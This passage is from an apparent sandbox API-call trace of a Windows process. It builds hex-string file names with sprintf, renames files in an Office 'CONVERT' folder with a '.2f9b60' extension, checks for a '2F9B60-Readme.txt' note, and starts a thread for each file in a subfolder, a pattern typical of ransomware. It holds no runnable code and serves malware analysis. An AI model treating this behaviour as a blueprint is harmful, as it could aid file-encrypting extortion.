_Format="%c%c" | out: _Dest="d0") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab02, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab04, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab06, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab08, _Format="%c%c" | out: _Dest="43") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab0a, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab0c, _Format="%c%c" | out: _Dest="78") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab0e, _Format="%c%c" | out: _Dest="59") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab10, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab12, _Format="%c%c" | out: _Dest="df") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab14, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab16, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab18, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab1a, _Format="%c%c" | out: _Dest="77") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab1c, _Format="%c%c" | out: _Dest="20") returned 2 [0200.032] sprintf (in: _Dest=0x4205ab1e, _Format="%c%c" | out: _Dest="32") returned 2 [0200.032] RtlInitAnsiString (in: DestinationString=0x2973f788, SourceString="d0ecb49a432d7859a2df4e8da5772032" | out: DestinationString="d0ecb49a432d7859a2df4e8da5772032") [0200.032] RtlAnsiStringToUnicodeString (in: DestinationString=0x2973f758, SourceString="d0ecb49a432d7859a2df4e8da5772032", AllocateDestinationString=1 | out: DestinationString="d0ecb49a432d7859a2df4e8da5772032") returned 0x0 [0200.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059290 [0200.033] wcscat (in: _Dest=0x431d9ad0, _Source="d0ecb49a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a" [0200.033] wcscat (in: _Dest=0x431d9ad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a.2f9b60" [0200.033] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a.2f9b60", NtPathName=0x2973f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\d0ecb49a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f3b10 [0223.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3b10) returned 1 [0223.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309e980) returned 1 [0223.968] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x2973f798, FileInformation=0x2973f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2973f798, FileInformation=0x2973f7a8) returned 0x0 [0223.969] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x2973f798, FileInformation=0x2973f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9ad0) returned 1 [0225.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0225.258] FlushFileBuffers (hFile=0xeb8) returned 1 [0225.554] CloseHandle (hObject=0xeb8) returned 1 [0226.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20505af0 [0226.015] wcscpy (in: _Dest=0x20505af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0226.015] wcscat (in: _Dest=0x20505af0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0226.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0226.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505af0) returned 1 [0226.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 Thread: id = 1205 os_tid = 0xd30 [0114.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868e40 [0114.518] wcscpy (in: _Dest=0x1b868e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0114.519] wcscat (in: _Dest=0x1b868e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0114.519] wcscat (in: _Dest=0x1b868e40, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*" [0114.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c590 [0114.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dfd0 [0114.524] wcscmp (_String1=".", _String2=".") returned 0 [0114.524] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.524] wcscmp (_String1="..", _String2=".") returned 1 [0114.524] wcscmp (_String1="..", _String2="..") returned 0 [0114.524] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0114.524] wcscmp (_String1="ACT3R.SAM", _String2=".") returned 1 [0114.524] wcscmp (_String1="ACT3R.SAM", _String2="..") returned 1 [0114.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5a90 [0114.524] wcscpy (in: _Dest=0x202a5a90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0114.524] wcscat (in: _Dest=0x202a5a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0114.524] wcscat (in: _Dest=0x202a5a90, _Source="ACT3R.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" [0120.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0120.512] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0120.512] wcscmp (_String1="DELIMR.FAE", _String2=".") returned 1 [0120.512] wcscmp (_String1="DELIMR.FAE", _String2="..") returned 1 [0120.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85d140 [0120.513] wcscpy (in: _Dest=0x1b85d140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.513] wcscat (in: _Dest=0x1b85d140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.513] wcscat (in: _Dest=0x1b85d140, _Source="DELIMR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" [0120.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150 [0120.513] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0120.513] wcscmp (_String1="LOCALDV.DLL", _String2=".") returned 1 [0120.513] wcscmp (_String1="LOCALDV.DLL", _String2="..") returned 1 [0120.514] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0120.514] wcscmp (_String1="ODBCR.SAM", _String2=".") returned 1 [0120.514] wcscmp (_String1="ODBCR.SAM", _String2="..") returned 1 [0120.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85c180 [0120.514] wcscpy (in: _Dest=0x1b85c180, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.514] wcscat (in: _Dest=0x1b85c180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.514] wcscat (in: _Dest=0x1b85c180, _Source="ODBCR.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" [0120.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0120.515] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0120.515] wcscmp (_String1="OLADDR.FAE", _String2=".") returned 1 [0120.515] wcscmp (_String1="OLADDR.FAE", _String2="..") returned 1 [0120.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bf40 [0120.515] wcscpy (in: _Dest=0x1b85bf40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.515] wcscat (in: _Dest=0x1b85bf40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.515] wcscat (in: _Dest=0x1b85bf40, _Source="OLADDR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" [0120.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148 [0120.516] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0120.516] wcscmp (_String1="OLAPPTR.FAE", _String2=".") returned 1 [0120.516] wcscmp (_String1="OLAPPTR.FAE", _String2="..") returned 1 [0120.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c060 [0120.517] wcscpy (in: _Dest=0x1b85c060, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.517] wcscat (in: _Dest=0x1b85c060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.517] wcscat (in: _Dest=0x1b85c060, _Source="OLAPPTR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" [0120.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0120.517] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0120.517] wcscmp (_String1="OLJRNLR.FAE", _String2=".") returned 1 [0120.517] wcscmp (_String1="OLJRNLR.FAE", _String2="..") returned 1 [0120.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c210 [0120.518] wcscpy (in: _Dest=0x1b85c210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.518] wcscat (in: _Dest=0x1b85c210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.518] wcscat (in: _Dest=0x1b85c210, _Source="OLJRNLR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" [0120.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0120.519] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0120.519] wcscmp (_String1="OLMAILR.FAE", _String2=".") returned 1 [0120.519] wcscmp (_String1="OLMAILR.FAE", _String2="..") returned 1 [0120.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a1d0 [0120.519] wcscpy (in: _Dest=0x2050a1d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.519] wcscat (in: _Dest=0x2050a1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.519] wcscat (in: _Dest=0x2050a1d0, _Source="OLMAILR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" [0120.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0120.520] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0120.520] wcscmp (_String1="OLNOTER.FAE", _String2=".") returned 1 [0120.520] wcscmp (_String1="OLNOTER.FAE", _String2="..") returned 1 [0120.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x20509cc0 [0120.520] wcscpy (in: _Dest=0x20509cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.520] wcscat (in: _Dest=0x20509cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.520] wcscat (in: _Dest=0x20509cc0, _Source="OLNOTER.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" [0120.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0120.521] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0120.521] wcscmp (_String1="OLR.SAM", _String2=".") returned 1 [0120.521] wcscmp (_String1="OLR.SAM", _String2="..") returned 1 [0120.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a140 [0120.521] wcscpy (in: _Dest=0x2050a140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.521] wcscat (in: _Dest=0x2050a140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.521] wcscat (in: _Dest=0x2050a140, _Source="OLR.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" [0120.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134 [0120.522] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0120.522] wcscmp (_String1="OLTASKR.FAE", _String2=".") returned 1 [0120.522] wcscmp (_String1="OLTASKR.FAE", _String2="..") returned 1 [0120.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a380 [0120.522] wcscpy (in: _Dest=0x2050a380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.522] wcscat (in: _Dest=0x2050a380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.522] wcscat (in: _Dest=0x2050a380, _Source="OLTASKR.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" [0120.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c [0120.523] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0120.523] wcscmp (_String1="ORG97R.SAM", _String2=".") returned 1 [0120.523] wcscmp (_String1="ORG97R.SAM", _String2="..") returned 1 [0120.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x20509d50 [0120.523] wcscpy (in: _Dest=0x20509d50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0120.523] wcscat (in: _Dest=0x20509d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0120.523] wcscat (in: _Dest=0x20509d50, _Source="ORG97R.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" [0120.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0120.524] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, 